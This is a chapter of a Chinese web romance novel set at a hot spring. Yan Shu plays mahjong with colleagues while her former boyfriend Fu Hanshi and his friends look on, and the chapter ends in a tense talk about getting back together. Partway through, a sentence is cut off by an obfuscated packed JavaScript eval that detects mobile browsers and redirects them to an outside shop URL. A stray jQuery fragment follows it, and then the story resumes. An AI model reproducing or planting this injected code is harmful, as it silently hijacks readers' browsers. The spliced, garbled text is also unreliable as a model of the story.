12. 第 12 章

作品:《傅总请自重

    这里的温泉区分为室外和室内,室外小池星罗棋布,各种主题景致错落相融,室内只有游泳区跟泡汤区。


    言舒裹着个浴巾,刚入大厅,便看见傅寒时钟凯时叙他们几个在深水区游泳。


    大概是几个人外貌身形太过出众扎眼,傅寒时在里面又是鹤立鸡群的存在,不少女生连温泉也不泡了,纷纷拿个手机站在岸边拍视频,有两个甚至激动得脸颊通红。


    招蜂引蝶……


    言舒在心底腹诽。


    眼不见为净,她干脆撇开视线不去看。


    -


    秦皎月郭睿跟小夏小雨正在休闲区打麻将,每人手中一杯奶茶,旁边还放着两大包零食。


    言舒环顾一圈,“芳姐跟赵杰呢,还没来吗?”


    小夏意味深长地撇撇嘴,朝不远处抬了抬下巴,“拉着赵杰一起去深水区游泳了。”


    言舒接过皎月姐递来椰子软糖,撕开包装咬了口,笑着问:“你们怎么不去,刚到就先打起牌了。”


    小雨推了下鼻梁上的眼镜,耸耸肩:“身材不行,飞机场不敢秀。”


    夏樱立马纠正她的话:“这里的我们不包括皎月姐啊,她纯粹不想秀,我们纯粹身材不好加不想秀。”


    秦皎月望过来时,眼底满是无奈,作为公司的管理层,再加上员工本就不多,她自然对这些内部矛盾了如指掌,但也不能过多干涉。


    周芳是公司的老员工了,但她只是文职岗位,没有技术支撑,没有营销业绩,这些年始终不上不下的。


    也不知什么时候起,以往总嚷嚷着躺平万岁的她,最近开始花心思走捷径。


    上个月小夏撞见她从一辆豪车上下来,身上的新包顶她一年的工资了。


    后来钟凯有撞见她一个年龄大她两轮的老男人出入高端会所。


    有些事大家心照不宣,从没人当面戳破。


    路是她选的,要怎么走全凭她自己。


    但人为了物质自甘堕落,难免会被人看不起,被背后嚼舌根。


    此刻见到到傅寒时跟时叙这样的人,周芳那股急于攀附的心思几乎写在脸上。


    这里面麻将打的最投入的,估计也只有郭睿了。


    全然一副两耳不闻窗外事,一心只想打自摸牌的纯良表情。


    顺着几人的目光,言舒也望向泳池方向。


    周芳穿着一身酒红色性感比基尼,在泳池里格外扎眼,身段饱满,波涛汹涌,一举一动都格外惹火。


    她似乎并不怎么会游泳。


    赵杰守在一旁,笨拙地指导着。


    小伙子身形瘦长,穿着个大裤衩,想扶她又不敢真上手,犹犹豫豫,畏手畏脚,全程面红耳赤,从脸颊红到脖子根,全程紧张得像护着什么稀世珍宝。


    可周芳对他全然敷衍,目光始终黏在傅寒时的方向,眼底的倾慕与算计毫不掩饰。


    夏樱看得一阵恶寒,把浴巾又往肩上拢了拢,转而坏笑着盯向言舒。


    言舒被她看的浑身不自在,下意识攥紧胸口的浴巾,“你那是啥眼神……有话直说。”


    夏樱眯起眼,笑得又坏又得意,“言舒姐,这可是你让我问,你跟傅总时总他们到底什么关系啊?”


    此话一出,连秦皎月都停下了手里的牌,静静等待她的回答。


    言舒望向深水泳池,傅寒时他们几个游得正尽兴。


    跟时叙、钟凯刻意展露身材的小心思不同,傅寒时穿的是短袖短裤,保守的跟平时没什么区别。


    好在他够收敛,单凭那张脸就已经引得全场骚动,若是再露得多些,场面怕是梁和都压不住。


    此刻梁和守在岸边,耐心地跟一个个举着手机的女生沟通,让她们删除照片跟视频。


    傅寒时先一步游到终点,他双手攀住扶手,踩着台阶一步步上岸。


    结实的胸肌被黑色贴身的泳衣包裹着,全身肌肉线条分明,性张力拉满。


    似是察觉到她的目光,转身的一瞬,傅寒时的视线径直落在她身上。


    隔着这么远的距离遥遥相望,言舒心头一晃,恍惚想起几年前,两人刚在一起时的模样。


    言舒指尖微微颤抖了下,触电般慌忙移开视线。


    “我们是校友,海大同院系的。”


    海大在国内算得上绝对的知名院校。


    凭本事考上海大的富二代们,远比那些拿钱出国读顶尖院校的更有实力,更能在圈子里得到长辈们跟同龄人的认可。


    这话能轻易唬住小夏,却糊弄不了心细如发的小雨跟郭睿。


    小雨咬着奶茶吸管,笑容暧昧,“是吗,真的只是校友吗?”


    郭睿摸着牌,看似随口一提:“我们在盛世办公的那一个多星期,傅总可没少照顾我们,咖啡下午茶不断,梁助也三天两头地往这边跑,热情的很。”


    见皎月姐的眼神也变得意味深长,言舒心中一慌。


    她稳定心神,强作镇定:“可能是盛世的人文关怀比较到位吧。”


    小夏是个直性子,一语道破:“哎呀言舒姐,我都听懂了,你怎么还没悟出来呢?那个傅总很有可能对你有意思,你长得漂亮,学历高,性格好,能力又强,就算跟傅总在一起,他也不亏。”


    她一本正经地分析完,还觉得自己特别在理,麻将也不打了,叼着根棒棒糖走到言舒面前,一把拽掉她裹得严严实实的浴巾。


    “你这穿的是什么呀,我们是来泡温泉,不是来上瑜伽课的,买个泳衣,长袖长裤都整出来了。”


    “之前那泳衣呢,我记得你之前那个泳衣还露胳膊露大腿的,今天这件怎么这么保守,搞得就像跟傅总商量好要穿情侣装似的。”


    言舒拍掉她的手,把浴巾裹的更紧。


    “小屁孩,打你的麻将去吧,我体寒,泡温泉可不得多穿点。”


    -


    提到身材,小夏跟小雨背地里也偷偷议论过。


    周芳那样的,虽然波涛汹涌,但过于丰满了,视觉冲击力很强,毫无美感。


    秦皎月是恰到好处的温婉曲线,气质优雅,这样含蓄内敛的女人,只能结了婚给她老公大饱眼福。


    言舒却是不一样。


    她远看身形纤长挺拔,近看才知身段玲珑有致,该有肉的地方饱满,该纤细的地方利落。


    胸线流畅,腰臀弧度柔和,头身比例极佳,肌肤细腻瓷白,扬下巴时,脖颈像高傲的白天鹅。


    就连女生从她身边经过,都忍不住多看两眼,暗自感叹造物者的偏心。


    言舒的长相跟身材全踩在小夏心巴上,她平时要是愿意多花时间打扮,绝对惊艳。


    可惜她是个彻头彻尾的工作狂,常年跑现场、跑项目,一身运动休闲装穿到底,连裙子都很少见。


    之前那件泳衣还能欣赏一下她细白的胳膊,线条紧实的大长腿。


    现在好了,泳衣也变成了运动服。


    简直是暴殄天物!


    在小夏摇头感慨之际,言舒往嘴里塞了两颗话梅。


    “你们打麻将吧,我要去泡温泉了~”


    还没转身,就被小夏给拽了回来,将她按到自己椅子上,“自己泡温泉多没意思,打会儿麻将,待会儿大家一起去。”


    小雨也劝:“是啊言舒姐,先热热身,玩会儿再下水。”


    言舒哭笑不得,还第一次听说用麻将热身的。


    扫了眼面前麻将,言舒心里没底,“可是……我不怎会打。”


    郭睿趁机起哄,“咱们玩钱的,清一色自摸,一人一百。”


    见她面露难色,他又笑着补了句,“清一色自摸属于运气爆棚了,放心玩,一般新手都有保护期。”


    小夏附和,“是啊是啊,新手的牌一般都不错。”


    言舒实在生疏,小夏刚开始还站她身后指点两句,后面也不知看到什么了,搬个凳子乐呵呵跑去小雨旁边,一脸坏笑。


    言舒注意力全在牌上,没顾得上细想。


    郭睿、小雨、秦皎月一看就是老手,出牌又快又稳。


    打到后半局,郭睿明明能胡却不胡,非要硬等自摸,想赢把大的。


    接个人打出的牌不上不下,言舒一张都接不住。


    她捏着一张三万,正纠结留还是打,身后忽然伸来一只骨节分明的大手,手背青筋鼓起。


    那人握着她的手,把三万收了回去,转而打出早已配对的二筒。


    出牌思路跟她预想的大相径庭。


    言舒扭头,视线在触到傅寒时那张冷峻挺拔的侧脸后,黛眉微蹙了下,想说的话咽回去,重新将注意力转回到牌桌上。


    秦皎月暗暗打量两人一眼,笑着打趣:“郭睿离自摸就差一张牌了,就看傅总能不能帮小舒翻盘了。”


    秦皎月刚打出一张,小夏立刻惊叫,“雨姐,碰啊!”


    小雨笑得从容:“碰了多没意思,咱也学郭睿,自摸,看谁运气好。”


    小夏夸张地“哇哦”一声:“刺激!”


    郭睿继续摸牌,偏偏打出一张废牌,正是刚才言舒本可以碰的那张,如果傅寒时没把二筒打出去的话。


    言舒没好气瞪了眼这个不请自来,还自顾坐在她椅子扶手上的男人。


    傅寒时低头看她,往日冷沉的眉眼浸着几分柔和的笑:“不急,等着。”


    言舒慌忙别开脸,心跳乱了一拍。


    沉下心来,言舒思索着面前的牌况,似乎嗅出了点苗头。


    能胡的牌故意打出去,难道他也在等自摸?


    秦皎月隐约也察觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425882|200638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到场上微妙的气氛:“看来大家手里的牌都比我好。”


    “你也不差,只是缺点运气,我帮你摸两张。”


    时叙玩世不恭的声音从身后传来,动作自然地替秦皎月起了牌。


    “欸~”


    时叙声调一扬,带着几分得意:“我就说吧,我运气一向不错。”


    只是一张牌,便让秦皎月乱杂乱的牌面起死回生。


    他拉过一张椅子,顺势在她身边坐下,二郎腿悠哉翘起,闲适散漫。


    “都在等着自摸是吧,那咱们也凑个热闹。”


    钟凯目光扫过两人挨在一起的椅边,几乎要相触的浴巾,眸色微深。


    他压下心头那点不自在,笑着插科打诨,“怎么,都想自摸啊,靠实力拼运气啊。”


    又摸了几圈,桌面渐渐陷入僵局,废牌扔了不少,却没人能胡。


    就在众人都以为要僵到最后,身后忽然传来周芳惊喜的声音。


    “清一色自摸!傅总,您这牌绝了!”


    众人齐齐看向傅寒时手下的牌面,只有言舒回头,淡淡瞥了眼崇拜望着傅寒时的周芳。


    阴雨连绵的初秋,空气里丝丝缕缕的凉意直往人皮肤里钻。


    就连时叙跟钟凯身上都披着浴巾,她似感觉不到温度般,仍旧一身酒红色比基尼,身材火辣惹眼,引得往来男士频频侧目。


    赵杰像个忠诚的小跟班,抱着浴巾乖乖站在她身后。


    时叙探过头看了眼,叼着烟,输得心服口服:“可真有你的老傅,拼运气也拼不过你。”


    傅寒时手掌很是自然搭上言舒肩膀,眼底含笑,语气却依旧不咸不淡,“给钱。”


    愿赌服输。


    时叙边掏手机边问:“你们玩多大的?”


    郭睿跟小夏小雨她们对视了眼,有些不好意思,“额……清一色自摸,一百。”


    时叙手上动作一顿,嘴角抽了抽,一时竟不知说什么好。


    秦皎月连忙打圆场:“小赌怡情,我们也是随便玩玩。”


    见他真要转账,秦皎月连忙制止,“时总,这局算我的,不能让您破费。”


    “破费不至于,主要我也想加下言舒妹妹的微信,我跟寒时被她关小黑屋三四年了,委屈的。”


    小夏跟小雨瞬间瞪圆了眼,嘴巴几乎张成O型,一副迟到惊天大瓜的兴奋。


    言舒无语地瞥了他一眼,在众人目光下,默默掏出手机,通过了时叙的好友申请。


    刚加上,时叙就把傅寒时的微信名片推了过来。


    言舒睨着一旁目睹全程的傅寒时,语气不咸不淡:“你们俩的关系还是一如既往的铁。”


    傅寒时嘴角微勾,“他不能跟你比。”


    时叙半点不气,捣鼓着手机,“那是自然,这点自知之明我还是有的。”


    他语气坦荡,仿佛言舒跟傅寒时一直亲密无间,那分开的三年多,不过是两人闹了一场微不足道的小别扭。


    “叮——”


    手机传来震动。


    言舒打开看了眼,是时叙发来的转账。


    一百万。


    言舒黛眉深锁,看时叙的眼神像是在看神经病。


    将手机扔给梁和,时叙笑吟吟道:“给弟妹的见面礼,上次见面你俩都苦大仇深的,我都不敢跟你说话,这次算正式的见面。”


    郭睿小雨他们几个眼神转了几圈,捕捉到“弟妹”两个字后,瞬间把几人的关系猜得七七八八。


    小夏捂住嘴,生怕自己控制不住惊呼出声。


    言舒本想说几句客套话将钱给他退回,还没张嘴,站在身后的周芳早已迫不及待,“麻将这样打才过瘾嘛,还继续吗,看得我都手痒了。”


    言舒立刻起身,把位置让出来:“你玩吧芳姐,我有点冷了,先去泡会儿。”


    她转身要走,傅寒时没说话,只是亦步亦趋地跟在身后。


    离开休闲区,快要出汤池区时,言舒突然停下脚步,猛地回头瞪他。


    “你跟着我干嘛!”


    她小脸瓷□□致,鼻梁挺翘又好看,两边的腮帮子鼓着,那双杏儿眼因生气变的水盈盈的。


    凝着这张生动又鲜活的小脸,傅寒时感觉胸腔那颗快要干枯的心,被温暖的水源汩汩包围,又恢复了生机与跳动。


    傅寒时放低声音,“生气了?”


    言舒直视他的眼睛,语气冷而清晰,“让我进盛世,前提是不是要先复合?”


    傅寒时被她冰冷的眼神冻得心口一紧,薄唇抿成一条直线,平静回望她。


    半晌,他移开视线,嘴角泛起一丝涩意,仿佛在说给自己听,“你不愿意。”


    她只轻轻叹了一声,面容平静,“傅寒时,我们不是一个世界的人。”